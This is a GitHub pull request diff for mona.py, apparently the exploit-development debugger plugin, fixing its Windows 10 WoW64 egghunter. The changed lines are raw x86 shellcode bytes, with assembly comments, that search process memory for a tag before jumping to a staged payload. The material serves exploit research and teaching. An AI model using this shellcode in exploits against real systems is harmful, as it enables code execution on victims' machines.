Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Fix egghunter for win10 wow64 #43

Merged
merged 1 commit into from
Jan 8, 2020
Merged

Fix egghunter for win10 wow64 #43

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
28 changes: 17 additions & 11 deletions mona.py
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -13690,30 +13690,36 @@ def procEgg(args):
incedxoffset = 13 # The offset in the egghunter to reach the #INC EDX
elif win_ver == "10":
egghunter += (
"\x33\xD2" #XOR EDX,EDX
"\x66\x81\xCA\xFF\x0F" #OR DX,0FFF
"\x33\xDB" #XOR EBX,EBX
# _start:
# "\x8c\xcb" #MOV EBX,CS
# "\x80\xfb\x23" #CMP BL,0x23
"\x33\xD2" #XOR EDX,EDX
# invalid_page:
"\x66\x81\xCA\xFF\x0F" #OR DX,0FFF
# valid_page:
"\x33\xDB" #XOR EBX,EBX
"\x42" #INC EDX
"\x53" #PUSH EBX
"\x53" #PUSH EBX
"\x52" #PUSH EDX
"\x53" #PUSH EBX
"\x53" #PUSH EBX
"\x53" #PUSH EBX
"\x53" #PUSH EBX
"\x6A\x29" #PUSH 29
"\x58" #POP EAX
"\xB3\xC0" #MOV BL,0C0

"\x64\xFF\x13" #CALL DWORD PTR FS:[EBX]
"\x83\xC4\x10" #ADD ESP,0x10
"\x64\xFF\x13" #CALL DWORD PTR FS:[EBX]
"\x83\xC4\x0c" #ADD ESP,0xc
"\x5A" #POP EDX
"\x83\xc4\x08" #ADD ESP,0x8
"\x3C\x05" #CMP AL,5
"\x74\xE3" #JE SHORT
"\x74\xDF" #JE SHORT invalid_page
"\xB8" + egg + #MOV EAX,<tag>
"\x8B\xFA" #MOV EDI,EDX
"\x8B\xFA" #MOV EDI,EDX
"\xAF" #SCAS DWORD PTR ES:[EDI]
"\x75\xDE" #JNZ SHORT
"\x75\xDA" #JNZ SHORT valid_page
"\xAF" #SCAS DWORD PTR ES:[EDI]
"\x75\xDB" #JNZ SHORT
"\x75\xD7" #JNZ SHORT valid_page
)
incedxoffset = 9 # The offset in the egghunter to reach the #INC EDX
if usechecksum:
Expand Down